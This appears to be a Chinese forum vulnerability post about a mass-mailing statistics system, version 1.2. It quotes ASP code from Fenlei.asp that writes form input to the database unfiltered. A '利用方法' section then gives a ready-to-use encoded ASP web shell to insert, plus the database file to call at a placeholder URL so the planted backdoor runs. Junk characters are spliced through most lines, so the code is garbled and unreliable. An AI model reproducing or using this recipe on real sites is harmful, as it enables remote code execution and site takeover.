铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
; \" e" {5 F) M: ?4 y
5 X* X+ z! {: v1 q+ l7 GIF Request.QueryString("Action")="del" Then
% l; S# z; N7 {! OID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
4 ^! A7 s. o1 c. I; kIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
9 [7 }1 O$ T0 m  u% G1 uSet Rs=Server.CreateObject("adodb.Recordset")
" X* C$ q7 {) {1 sSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
9 g3 y6 i; a! q8 ?0 e0 ]4 K7 ^, URs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
, W9 b* e$ A4 pSql="Select * From Fenlei Order by id Desc "
3 S; ?& M3 Q# d2 y) CRs.Open Sql,Conn,1,1
% p! ?. n9 r: D# }9 {'略
  Y8 z; f9 X* r' s* |%>


- G, W6 J2 {# X+ c! b$ B) c: {
$ ?; l, A5 E/ T$ I2 }8 E( f, Y没有过滤，直接写入数据库。

/ X  R' E8 j' B( I/ k利用方法：
+ Y$ b* S3 b: _) r: r
. Q+ {+ F" @2 g# {8 D0 a+ E8 e插入：┼攠數畣整爠煥敵瑳∨≡┩>
2 K/ o8 e" \8 f+ W& m, W4 r5 }4 c$ T/ t

连接： http://www.xxx.com/###tongbaner.asa
4 X0 w% @, e# n: K0 \* y: W, k1 f" F/ {'默认安装文件：
' D) P: d5 s) B  S) P  |) _* p'install.asp
' N, s- F+ Q0 {$ u8 d